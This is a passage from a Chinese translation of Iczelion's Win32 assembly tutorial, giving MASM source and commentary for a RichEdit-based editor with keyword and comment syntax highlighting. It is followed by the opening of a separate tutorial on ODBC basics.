            lea edi,buffer
            mov edx,edi		; 用做参照点
            mov ecx,esi
            mov al,";"
ScanMore:
            repne scasb
            je NextSkip
            jmp NoMoreHit
NextSkip:
            dec edi
            inc ecx
            mov pString,edi
            mov ebx,edi
            sub ebx,edx
            add ebx,FirstChar
            mov txtrange.chrg.cpMin,ebx
            push eax
            mov al,0Dh
            repne scasb
            pop eax
HiliteTheComment:
            .if ecx>0
                mov byte ptr [edi-1],0
            .endif
            mov ebx,edi
            sub ebx,edx
            add ebx,FirstChar
            mov txtrange.chrg.cpMax,ebx
            pushad
            mov edi,pString
            mov esi,txtrange.chrg.cpMax
            sub esi,txtrange.chrg.cpMin		; esi 是缓冲区长度
            mov eax,esi
            push edi
            .while eax>0
                .if byte ptr [edi]==9
                    mov byte ptr [edi],0
                .endif
                inc edi
                dec eax
            .endw
            pop edi
            .while esi>0
                .if byte ptr [edi]!=0
                    invoke lstrlen,edi
                    push eax
                    mov ecx,edi
                    lea edx,buffer
                    sub ecx,edx
                    add ecx,FirstChar
                    .if RichEditVersion==3
                        invoke SendMessage,hWnd,EM_POSFROMCHAR,addr rect,ecx
                    .else
                        invoke SendMessage,hWnd,EM_POSFROMCHAR,ecx,0
                        mov ecx,eax
                        and ecx,0FFFFh
                        mov rect.left,ecx
                        shr eax,16
                        mov rect.top,eax
                    .endif
                    invoke DrawText,hdc,edi,-1,addr rect,0
                    pop eax
                    add edi,eax
                    sub esi,eax
                .else
                    inc edi
                    dec esi
                .endif
            .endw
            mov ecx,txtrange.chrg.cpMax
            sub ecx,txtrange.chrg.cpMin
            invoke RtlZeroMemory,pString,ecx
            popad
            .if ecx>0
                jmp ScanMore
            .endif
NoMoreHit:
            pop ebx
            pop edi
            mov ecx,BufferSize
            lea esi,buffer
            .while ecx>0
                mov al,byte ptr [esi]
                .if al==" " || al==0Dh || al=="/" || al=="," || al=="|" || al=="+" || al=="-" || al=="*" || al=="&" || al=="<" || al==">" || al=="=" || al=="(" || al==")" || al=="{" || al=="}" || al=="[" || al=="]" || al=="^" || al==":" || al==9
                    mov byte ptr [esi],0
                .endif
                dec ecx
                inc esi
            .endw
            lea esi,buffer
            mov ecx,BufferSize
            .while ecx>0
                mov al,byte ptr [esi]
                .if al!=0
                    push ecx
                    invoke lstrlen,esi
                    push eax
                    mov edx,eax		; edx 为字符串长度
                    movzx eax,byte ptr [esi]
                    .if al>="A" && al<="Z"
                        sub al,"A"
                        add al,"a"
                    .endif
                    shl eax,2
                    add eax,edi		; edi 为 WORDINFO 指针数组的指针
                    .if dword ptr [eax]!=0
                        mov eax,dword ptr [eax]
                        assume eax:ptr WORDINFO
                        .while eax!=0
                            .if edx==[eax].WordLen
                                pushad
                                invoke lstrcmpi,[eax].pszWord,esi
                                .if eax==0
                                    popad
                                    mov ecx,esi
                                    lea edx,buffer
                                    sub ecx,edx
                                    add ecx,FirstChar
                                    pushad
                                    .if RichEditVersion==3
                                        invoke SendMessage,hWnd,EM_POSFROMCHAR,addr rect,ecx
                                    .else
                                        invoke SendMessage,hWnd,EM_POSFROMCHAR,ecx,0
                                        mov ecx,eax
                                        and ecx,0FFFFh
                                        mov rect.left,ecx
                                        shr eax,16
                                        mov rect.top,eax
                                    .endif
                                    popad
                                    mov edx,[eax].pColor
                                    invoke SetTextColor,hdc,dword ptr [edx]
                                    invoke DrawText,hdc,esi,-1,addr rect,0
                                    .break
                                .endif
                                popad
                            .endif
                            push [eax].NextLink
                            pop eax
                        .endw
                    .endif
                    pop eax
                    pop ecx
                    add esi,eax
                    sub ecx,eax
                .else
                    inc esi
                    dec ecx
                .endif
            .endw
        .endif
        invoke SelectObject,hdc,hOldRgn
        invoke DeleteObject,hRgn
        invoke SelectObject,hdc,hOldFont
        invoke ReleaseDC,hWnd,hdc
        invoke ShowCaret,hWnd
        pop eax
        pop esi
        pop edi
        ret
    .elseif uMsg==WM_CLOSE
        invoke SetWindowLong,hWnd,GWL_WNDPROC,OldWndProc
    .else
        invoke CallWindowProc,OldWndProc,hWnd,uMsg,wParam,lParam
        ret
    .endif
NewRichEditProc endp

WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL ofn:OPENFILENAME
    LOCAL buffer[256]:BYTE
    LOCAL editstream:EDITSTREAM
    LOCAL hFile:DWORD
    LOCAL hPopup:DWORD
    LOCAL pt:POINT
    LOCAL chrg:CHARRANGE
    .if uMsg==WM_CREATE
        invoke CreateWindowEx,WS_EX_CLIENTEDGE,addr RichEditClass,0,WS_CHILD or WS_VISIBLE or ES_MULTILINE or WS_VSCROLL or WS_HSCROLL or ES_NOHIDESEL,\
                CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,hWnd,RichEditID,hInstance,0
        mov hwndRichEdit,eax
        invoke SendMessage,hwndRichEdit,EM_SETTYPOGRAPHYOPTIONS,TO_SIMPLELINEBREAK,TO_SIMPLELINEBREAK
        invoke SendMessage,hwndRichEdit,EM_GETTYPOGRAPHYOPTIONS,1,1
        .if eax==0		; 说明该消息没被处理
            mov RichEditVersion,2
        .else
            mov RichEditVersion,3
            invoke SendMessage,hwndRichEdit,EM_SETEDITSTYLE,SES_EMULATESYSEDIT,SES_EMULATESYSEDIT
        .endif
        invoke SetWindowLong,hwndRichEdit,GWL_WNDPROC, addr NewRichEditProc
        mov OldWndProc,eax
        invoke SendMessage,hwndRichEdit,EM_LIMITTEXT,-1,0
        invoke SetColor
        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
        invoke SendMessage,hwndRichEdit,EM_SETEVENTMASK,0,ENM_MOUSEEVENTS
        invoke SendMessage,hwndRichEdit,EM_EMPTYUNDOBUFFER,0,0
    .elseif uMsg==WM_NOTIFY
        push esi
        mov esi,lParam
        assume esi:ptr NMHDR
        .if [esi].code==EN_MSGFILTER
            assume esi:ptr MSGFILTER
            .if [esi].msg==WM_RBUTTONDOWN
                invoke GetMenu,hWnd
                invoke GetSubMenu,eax,1
                mov hPopup,eax
                invoke PrepareEditMenu,hPopup
                mov edx,[esi].lParam
                mov ecx,edx
                and edx,0FFFFh
                shr ecx,16
                mov pt.x,edx
                mov pt.y,ecx
                invoke ClientToScreen,hWnd,addr pt
                invoke TrackPopupMenu,hPopup,TPM_LEFTALIGN or TPM_BOTTOMALIGN,pt.x,pt.y,NULL,hWnd,NULL
            .endif
        .endif
        pop esi
    .elseif uMsg==WM_INITMENUPOPUP
        mov eax,lParam
        .if ax==0		; file 菜单
            .if FileOpened==TRUE	; 已经打开了一个文件
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_OPEN,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_CLOSE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_SAVEAS,MF_GRAYED
            .endif
        .elseif ax==1	; edit 菜单
            invoke PrepareEditMenu,wParam
        .elseif ax==2		; search 菜单条
            .if FileOpened==TRUE
                invoke EnableMenuItem,wParam,IDM_FIND,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_FINDNEXT,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_FINDPREV,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_REPLACE,MF_ENABLED
                invoke EnableMenuItem,wParam,IDM_GOTOLINE,MF_ENABLED
            .else
                invoke EnableMenuItem,wParam,IDM_FIND,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_FINDNEXT,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_FINDPREV,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_REPLACE,MF_GRAYED
                invoke EnableMenuItem,wParam,IDM_GOTOLINE,MF_GRAYED
            .endif
        .endif
    .elseif uMsg==WM_COMMAND
        .if lParam==0		; 菜单命令
            mov eax,wParam
            .if ax==IDM_OPEN
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset FileName
                mov byte ptr [FileName],0
                mov ofn.nMaxFile,sizeof FileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetOpenFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        mov hFile,eax
                        mov editstream.dwCookie,eax
                        mov editstream.pfnCallback,offset StreamInProc
                        invoke SendMessage,hwndRichEdit,EM_STREAMIN,SF_TEXT,addr editstream
                        invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                        invoke CloseHandle,hFile
                        mov FileOpened,TRUE
                    .else
                        invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                    .endif
                .endif
            .elseif ax==IDM_CLOSE
                invoke CheckModifyState,hWnd
                .if eax==TRUE
                    invoke SetWindowText,hwndRichEdit,0
                    mov FileOpened,FALSE
                .endif
            .elseif ax==IDM_SAVE
                invoke CreateFile,addr FileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                .if eax!=INVALID_HANDLE_VALUE
@@:
                    mov hFile,eax
                    mov editstream.dwCookie,eax
                    mov editstream.pfnCallback,offset StreamOutProc
                    invoke SendMessage,hwndRichEdit,EM_STREAMOUT,SF_TEXT,addr editstream
                    invoke SendMessage,hwndRichEdit,EM_SETMODIFY,FALSE,0
                    invoke CloseHandle,hFile
                .else
                    invoke MessageBox,hWnd,addr OpenFileFail,addr AppName,MB_OK or MB_ICONERROR
                .endif
            .elseif ax==IDM_COPY
                invoke SendMessage,hwndRichEdit,WM_COPY,0,0
            .elseif ax==IDM_CUT
                invoke SendMessage,hwndRichEdit,WM_CUT,0,0
            .elseif ax==IDM_PASTE
                invoke SendMessage,hwndRichEdit,WM_PASTE,0,0
            .elseif ax==IDM_DELETE
                invoke SendMessage,hwndRichEdit,EM_REPLACESEL,TRUE,0
            .elseif ax==IDM_SELECTALL
                mov chrg.cpMin,0
                mov chrg.cpMax,-1
                invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr chrg
            .elseif ax==IDM_UNDO
                invoke SendMessage,hwndRichEdit,EM_UNDO,0,0
            .elseif ax==IDM_REDO
                invoke SendMessage,hwndRichEdit,EM_REDO,0,0
            .elseif ax==IDM_OPTION
                invoke DialogBoxParam,hInstance,IDD_OPTIONDLG,hWnd,addr OptionProc,0
            .elseif ax==IDM_SAVEAS
                invoke RtlZeroMemory,addr ofn,sizeof ofn
                mov ofn.lStructSize,sizeof ofn
                push hWnd
                pop ofn.hwndOwner
                push hInstance
                pop ofn.hInstance
                mov ofn.lpstrFilter,offset ASMFilterString
                mov ofn.lpstrFile,offset AlternateFileName
                mov byte ptr [AlternateFileName],0
                mov ofn.nMaxFile,sizeof AlternateFileName
                mov ofn.Flags,OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_PATHMUSTEXIST
                invoke GetSaveFileName,addr ofn
                .if eax!=0
                    invoke CreateFile,addr AlternateFileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
                    .if eax!=INVALID_HANDLE_VALUE
                        jmp @B
                    .endif
                .endif
            .elseif ax==IDM_FIND
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_FINDDLG,hWnd,addr SearchProc,0
                .endif
            .elseif ax==IDM_REPLACE
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_REPLACEDLG,hWnd,addr ReplaceProc,0
                .endif
            .elseif ax==IDM_GOTOLINE
                .if hSearch==0
                    invoke CreateDialogParam,hInstance,IDD_GOTODLG,hWnd,addr GoToProc,0
                .endif
            .elseif ax==IDM_FINDNEXT
                invoke lstrlen,addr FindBuffer
                .if eax!=0
                    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                    mov eax,findtext.chrg.cpMin
                    .if eax!=findtext.chrg.cpMax
                        push findtext.chrg.cpMax
                        pop findtext.chrg.cpMin
                    .endif
                    mov findtext.chrg.cpMax,-1
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDM_FINDPREV
                invoke lstrlen,addr FindBuffer
                .if eax!=0
                    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                    mov findtext.chrg.cpMax,0
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,0,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDM_EXIT
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        invoke CheckModifyState,hWnd
        .if eax==TRUE
            invoke DestroyWindow,hWnd
        .endif
    .elseif uMsg==WM_SIZE
        mov eax,lParam
        mov edx,eax
        and eax,0FFFFh
        shr edx,16
        invoke MoveWindow,hwndRichEdit,0,0,eax,edx,TRUE
    .elseif uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .else
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp
end start

分析：

第一步，在调用 WinMain 之前先调用 FillHiliteInfo。这个函数读出 wordfile.txt 的内容然后解析该内容。

FillHiliteInfo proc uses edi
    LOCAL buffer[1024]:BYTE
    LOCAL pTemp:DWORD
    LOCAL BlockSize:DWORD
    invoke RtlZeroMemory,addr ASMSyntaxArray,sizeof ASMSyntaxArray

初始化 ASMSyntaxArray 为 0 。

    invoke GetModuleFileName,hInstance,addr buffer,sizeof buffer
    invoke lstrlen,addr buffer
    mov ecx,eax
    dec ecx
    lea edi,buffer
    add edi,ecx
    std
    mov al,"\"
    repne scasb
    cld
    inc edi
    mov byte ptr [edi],0
    invoke lstrcat,addr buffer,addr WordFileName

构建 of wordfile.txt 的完全路径： 我假定该文件总是跟程序文件在同一个文件夹。

    invoke GetFileAttributes,addr buffer
    .if eax!=-1

我使用这个方法来快速检验一个文件是否存在。

        mov BlockSize,1024*10
        invoke HeapAlloc,hMainHeap,0,BlockSize
        mov pTemp,eax

分配内存块来保存高亮词。缺省是10K。是从缺省堆中分配的。

@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C1Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0

我使用 GetPrivateProfileString 来检索 wordfile.txt 中每一个关键字的内容。关键字从 C1 到 C10。

            inc eax
            .if eax==BlockSize	; 缓冲区太小
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif

检查内存块是否足够大。如果不够的话，我们就增大10K，直到足够大为止。

            mov edx,offset ASMColorArray
            invoke ParseBuffer,hMainHeap,pTemp,eax,edx,addr ASMSyntaxArray

传递需要高亮显示的词的缓冲区, 内存块句柄，从WordFile.txt中读出的数据的大小，用来高亮显示词的颜色数组的地址，和ASMSyntaxArray的地址。

现在让我们来看看 ParseBuffer 做了什么。基本上，这个函数接收包含需要高亮显示词的缓冲区，将它们解析为单个的词并将它们每个都保存在一个 WORDINFO 结构数组中，这样可以从 ASMSyntaxArray 中快速访问它们。

ParseBuffer proc uses edi esi hHeap:DWORD,pBuffer:DWORD, nSize:DWORD, ArrayOffset:DWORD,pArray:DWORD
    LOCAL buffer[128]:BYTE
    LOCAL InProgress:DWORD
    mov InProgress,FALSE

InProgress 是一个标志，我用来指示扫描处理是否已经开始。如果它的值是FALSE，表示我们还没遇到一个非空格字符。

    lea esi,buffer
    mov edi,pBuffer
    invoke CharLower,edi

ESI 指向一个局部缓冲区，用来保存从词表中分离出来的单个词。EDI 指向词表字符串。为了方便以后的搜索，我们将所有的词都转换为小写形式。

    mov ecx,nSize
SearchLoop:
    or ecx,ecx
    jz Finished
    cmp byte ptr [edi]," "
    je EndOfWord
    cmp byte ptr [edi],9 	; tab
    je EndOfWord

扫描缓冲区里的整个词表，搜索空格（White Space)字符。如果找到的话，我们必须判断它表示一个词的结束还是开始。

    mov InProgress,TRUE
    mov al,byte ptr [edi]
    mov byte ptr [esi],al
    inc esi
SkipIt:
    inc edi
    dec ecx
    jmp SearchLoop

如果该字节经过详细审查证实不是空格，我们就将它复制到一个缓冲区来组成一个词，并继续扫描。

EndOfWord:
    cmp InProgress,TRUE
    je WordFound
    jmp SkipIt

如果找到了一个空格字符，我们就检查 InProgress 的值。如果值为 TRUE ，我们可以假定空格标识一个词的结束，我们可以继续将解析出来的在局部缓冲区（由ESI指向）中的词保存到一个 WORDINFO 结构中。如果值为 FALSE ，我们继续扫描直到发现一个非空白（non-white space）的空格字符。

WordFound:
    mov byte ptr [esi],0
    push ecx
    invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,sizeof WORDINFO

到达词的结尾后，我们就在词缓冲区尾加一个0，标识该词是一个 ASCIIZ 字符串。然后我们从堆中为该词分配一块 WORDINFO 内存。

    push esi
    mov esi,eax
    assume esi:ptr WORDINFO
    invoke lstrlen,addr buffer
    mov [esi].WordLen,eax

我们取得局部变量中该词的长度，保存在 WORDINFO 结构的 WordLen 成员中，以后用来快速比较。

    push ArrayOffset
    pop [esi].pColor

将包含用来高亮显示该词的颜色的双字的地址保存到 pColor 成员中。

    inc eax
    invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,eax
    mov [esi].pszWord,eax
    mov edx,eax
    invoke lstrcpy,edx,addr buffer

从堆中分配一块内存用来保存词本身。现在 WORDINFO 结构已经都填充好了，可以插入到适当的链表中去。

    mov eax,pArray
    movzx edx,byte ptr [buffer]
    shl edx,2		; 乘以 4
    add eax,edx

pArray包含的是 ASMSyntaxArray 的地址。我们要移动到跟词中第一个字符具有相同索引的DWORD上。因此我们将词中的第一个字符放入EDX，然后将EDX乘以4（因为 ASMSyntaxArray 中的每个元素都是 4 字节大小），再将偏移量加到 ASMSyntaxArray 的地址上，我们就在EAX中得到相应DWORD的地址。

    .if dword ptr [eax]==0
        mov dword ptr [eax],esi
    .else
        push dword ptr [eax]
        pop [esi].NextLink
        mov dword ptr [eax],esi
    .endif

检查那个DWORD的值，如果为 0 ， 意味着当前链表中没有词是以这个字符开头的。因此我们将当前 WORDINFO 结构的地址保存到那个DWORD中。

如果值为非0， 意味着数组中至少有一个词是以这个字符开头的，因此我们将这个WORDINFO 结构插入到该链表头并更新其 NextLink 成员来指向下一个WORDINFO 结构。

    pop esi
    pop ecx
    lea esi,buffer
    mov InProgress,FALSE
    jmp SkipIt

完成这个操作后，我们就开始下一轮扫描循环直到到达缓冲区的尾。

        invoke SendMessage,hwndRichEdit,EM_SETTYPOGRAPHYOPTIONS,TO_SIMPLELINEBREAK,TO_SIMPLELINEBREAK
        invoke SendMessage,hwndRichEdit,EM_GETTYPOGRAPHYOPTIONS,1,1
        .if eax==0		; 说明该消息没被处理
            mov RichEditVersion,2
        .else
            mov RichEditVersion,3
            invoke SendMessage,hwndRichEdit,EM_SETEDITSTYLE,SES_EMULATESYSEDIT,SES_EMULATESYSEDIT
        .endif

创建RichEdit控件之后，我们需要确定其版本。这一步很必要，因为EM_POSFROMCHAR 在 RichEdit 2.0 和 3.0 中是不同的，而 EM_POSFROMCHAR 对于我们的语法高亮显示程序是至关重要的。我从来没见到有文档介绍到检查RichEdit控件版本的方法，因此我必须使用一个解决办法（workaround）。在这种情况下，我设置一个选项指定 3.0 版本并立即检索它的值。如果我能检索到该值的话我就假设该控件是3.0版本的。

如果你使用 RichEdit 3.0 ，你会注意到更改一个大文件的正文颜色会花费很长的时间。这个问题好象是3.0版本特有的。我找到一个解决办法：通过发送EM_SETEDITSTYLE 消息，使控件模拟系统Edit控件行为。

取得版本信息后，我们继续下一步，子类化RichEdit控件。现在我们检查RichEdit的新的窗口过程。

NewRichEditProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    ........
    .......
    .if uMsg==WM_PAINT
        push edi
        push esi
        invoke HideCaret,hWnd
        invoke CallWindowProc,OldWndProc,hWnd,uMsg,wParam,lParam
        push eax

我们处理 WM_PAINT 消息。首先，我们隐藏光标以便避免一些高亮后的难看的gfx (ugly gfx)。我们发送WM_PAINT消息给 RichEdit的原来的处理过程，让它更新窗口。CallWindowProc 返回后，正文已经被使用原来的颜色/背景色更新过了。现在是我们做语法高亮显示的机会了！

        mov edi,offset ASMSyntaxArray
        invoke GetDC,hWnd
        mov hdc,eax
        invoke SetBkMode,hdc,TRANSPARENT

保存 ASMSyntaxArray 的地址到 EDI。然后我们取得DC的句柄，设置正文背景模式为 Transparent ，以便我们写入的正文使用缺省的背景色。

        invoke SendMessage,hWnd,EM_GETRECT,0,addr rect
        invoke SendMessage,hWnd,EM_CHARFROMPOS,0,addr rect
        invoke SendMessage,hWnd,EM_LINEFROMCHAR,eax,0
        invoke SendMessage,hWnd,EM_LINEINDEX,eax,0

我们要取得可见的正文，因此我们首先必须发送 EM_GETRECT 消息给RichEdit控件来取得格式化矩形（formatting rectangle）。现在我们有了范围矩形，我们通过EM_CHARFROMPOS消息，取得矩形左上角的最接近的字符索引 。一旦我们有了字符索引(控件中第一个可见字符), 我们就可以从该位置开始做语法高亮显示了。但是效果可能没有从该字符所在行的第一个字符开始高亮显示的效果好。这就是为什么我需要通过 EM_LINEFROMCHAR 消息去取得第一个可见字符所在行的行号的原因。为了取得该行的第一个字符，我需要发送 EM_LINEINDEX 消息。

        mov txtrange.chrg.cpMin,eax
        mov FirstChar,eax
        invoke SendMessage,hWnd,EM_CHARFROMPOS,0,addr rect.right
        mov txtrange.chrg.cpMax,eax

取得第一个字符的索引后，将之保存到变量 FirstChar 中以便以后引用。跟着我们来取得最后一个可见字符的索引，通过发送 EM_CHARFROMPOS 消息，在 lParam 中传递矩形框的右下角的位置。

        push rect.left
        pop RealRect.left
        push rect.top
        pop RealRect.top
        push rect.right
        pop RealRect.right
        push rect.bottom
        pop RealRect.bottom
        invoke CreateRectRgn,RealRect.left,RealRect.top,RealRect.right,RealRect.bottom
        mov hRgn,eax
        invoke SelectObject,hdc,hRgn
        mov hOldRgn,eax

在进行语法高亮显示时，我注意到这个方法的一个不好看的边缘效果：如果RichEdit控件有页边空白的话(你可以通过发送 EM_SETMARGINS 消息给RichEdit控件来指定页边空白), DrawText 写出了页边空白。 因而我需要创建一个裁剪区域，大小为矩形框的大小，这可以通过调用 CreateRectRgn 来实现。这样 GDI 函数的输出就会被裁剪在“可写”区域内。

跟着，我们需要先高亮显示注释，并将它们排除在目标之外。我使用的方法是搜索 "；" 并用注释颜色来高亮显示那些正文，直到遇到回车符。我在这里不分析这个过程了：它相当的长和复杂。现在可以说，当所有的注释高亮显示后，我们就在缓冲区中用 0 来替换掉它们，以便注释中的词在以后不会再被重复高亮处理。

        mov ecx,BufferSize
        lea esi,buffer
        .while ecx>0
            mov al,byte ptr [esi]
            .if al==" " || al==0Dh || al=="/" || al=="," || al=="|" || al=="+" || al=="-" || al=="*" || al=="&" || al=="<" || al==">" || al=="=" || al=="(" || al==")" || al=="{" || al=="}" || al=="[" || al=="]" || al=="^" || al==":" || al==9
                mov byte ptr [esi],0
            .endif
            dec ecx
            inc esi
        .endw

将注释内容排除掉后，我们通过使用 0 替换掉分隔符，将缓冲区中的词表分开为一个个单个的词。用这个方法，我们在处理缓冲区中的词时就再不需要考虑分隔符了：只有一个分隔符，就是 NULL 。

        lea esi,buffer
        mov ecx,BufferSize
        .while ecx>0
            mov al,byte ptr [esi]
            .if al!=0

搜索缓冲区找到第一个非NULL字符，也就是某个词的第一个字符。

                push ecx
                invoke lstrlen,esi
                push eax
                mov edx,eax

取得词的长度并保存到 EDX

                movzx eax,byte ptr [esi]
                .if al>="A" && al<="Z"
                    sub al,"A"
                    add al,"a"
                .endif

将字符转换为小写的 (如果是大写字符的话)

                shl eax,2
                add eax,edi		; edi 为 WORDINFO 指针数组的指针
                .if dword ptr [eax]!=0

之后，我们跳到 ASMSyntaxArray 中的相应的DWORD，并检查该DWORD的值是否为 0 ,是的话我们就跳到下一个词。

                    mov eax,dword ptr [eax]
                    assume eax:ptr WORDINFO
                    .while eax!=0
                        .if edx==[eax].WordLen

如果DWORD的值不为 0 ，它就指向一个 WORDINFO 结构的链表。我们跟着遍历该链表，将局部缓冲区中词的长度跟 WORDINFO 结构中词的长度进行比较。这是在我们比较词之前进行的快速测试，可以节约一些时钟周期。

                            pushad
                            invoke lstrcmpi,[eax].pszWord,esi
                            .if eax==0

如果两个词的长度相等，我们就继续使用 lstrcmpi 比较两个词。

                                popad
                                mov ecx,esi
                                lea edx,buffer
                                sub ecx,edx
                                add ecx,FirstChar

我们用缓冲区中的匹配词的第一个字符的地址来构造字符索引。首先取得它跟缓冲区开始地址的相对偏移量，然后加上第一个可见字符的字符索引。

                                pushad
                                .if RichEditVersion==3
                                    invoke SendMessage,hWnd,EM_POSFROMCHAR,addr rect,ecx
                                .else
                                    invoke SendMessage,hWnd,EM_POSFROMCHAR,ecx,0
                                    mov ecx,eax
                                    and ecx,0FFFFh
                                    mov rect.left,ecx
                                    shr eax,16
                                    mov rect.top,eax
                                .endif
                                popad

知道需要高亮显示的词的第一个字符的字符索引后，我们跟着通过发送 EM_POSFROMCHAR 消息取得它的位置。然而这个消息在RichEdit 2.0 和 3.0 中的解释是不同的。对RichEdit 2.0 来说，wParam 包含字符索引，lParam 没有使用。它在 EAX 返回 坐标。对 RichEdit 3.0 来说，wParam 是一个指向 POINT 结构的指针，该调用将会将结果坐标填入这里，而 lParam 则包含字符索引。

正如你看到的，如果传递错误的参数给 EM_POSFROMCHAR ，它可以对你的系统造成重大破坏。这个就是为什么我必须区分 RichEdit 控件的版本的缘故。

                                mov edx,[eax].pColor
                                invoke SetTextColor,hdc,dword ptr [edx]
                                invoke DrawText,hdc,esi,-1,addr rect,0

一旦我们取得了开始坐标，我们就使用 WORDINFO 结构中指定的颜色来设置正文颜色。跟着使用新颜色值重写该词。

As the final words, 这个方法可以从几个方面提高。例如，我取得从第一个可见行到最后一个可见行的所有正文。如果那些行很长的话，处理那些不可见的词会降低性能。你可以通过一行一行地取得真正的可见行来进行优化。同样，搜索算法也可以使用更多的不同方法来提高速度。不要受我的错误影响（Don't take me wrong）：这个例子用来进行语法高亮显示的方法是快，但是它可以更快！:)

翻译：farsky 来源：[Iczelion's Win32 Assembly Homepage]
LuoYunBin's Win32 ASM Page， http://asm.yeah.net/


ODBC 编程教程:基础

ODBC 基础

这是使用 win32asm进行数据库编程系列的第一份教程。 在如今的IT界，数据库编程变的越来越重要，所以我们不能再忽视它。但如今有很多种数据库在使用，如果 我们为了实现win32下数据库汇编语言编程而学习各种数据库文件格式，所花时间大概称得上“永恒”。

幸运的是，Microsoft的一项技术使得我们得以摆脱这个 大麻烦。它被称为ODBC，是开放式数据库互连（Open Database Connectivity）的缩写,这是一族API,与Windows API相似。它主要与数据库打交道。就是说,利用ODBC API,你可通过统一界面 和好多各不相同的数据库打交道。

ODBC是如何工作的?它的结构式怎样的？在使用ODBC之前， 你应对它的结构有一个清楚的了解。 ODBC有四个组成部分:

  • 应用程序 (Application，你的程序)
  • ODBC 管理器 (ODBC manager)
  • ODBC 驱动程序(ODBC Drivers)
  • 数据源 (Data Sources,数据库)

这四个组件的核心是ODBC 管理器。 你可把它想象成你的监工。你告诉它你希望他作什么，然后它把你的要求传达给它的工人(ODBC 驱动程序)并完成工作。如果工人有什么想告诉你的，它会与监工(ODBC 管理器)说，由监工传达给你。工人们很明白他们应作什么，因此他们会为你很好的完成工作。

通过这样的模式，我们并不与数据库驱动程序直接通信。 你只需告诉数据库管理器你想要做什么。而使用恰当的ODBC驱动程序来实现你的目的则是ODBC管理器的事。 每个ODBC 驱动程序对于它所对应的数据库均有足够了解。各部件各司其职,极大的简化了工作量。

你的程序<----> ODBC管理器<----> ODBC驱动程序 <----> 数据库

ODBC管理器由Microsoft提供。看一下你的控制面板。如果你正确地安装了ODBC你会找到ODBC数据源(32位) 项目。 至于ODBC驱动程序, Microsoft随他们的产品提供了好几种。并且你总可从数据库提供商那里获得新的ODBC 驱动程序。只要简单地安装新的ODBC驱动程序,你的机器就可使用新的它以前不知道的数据库。

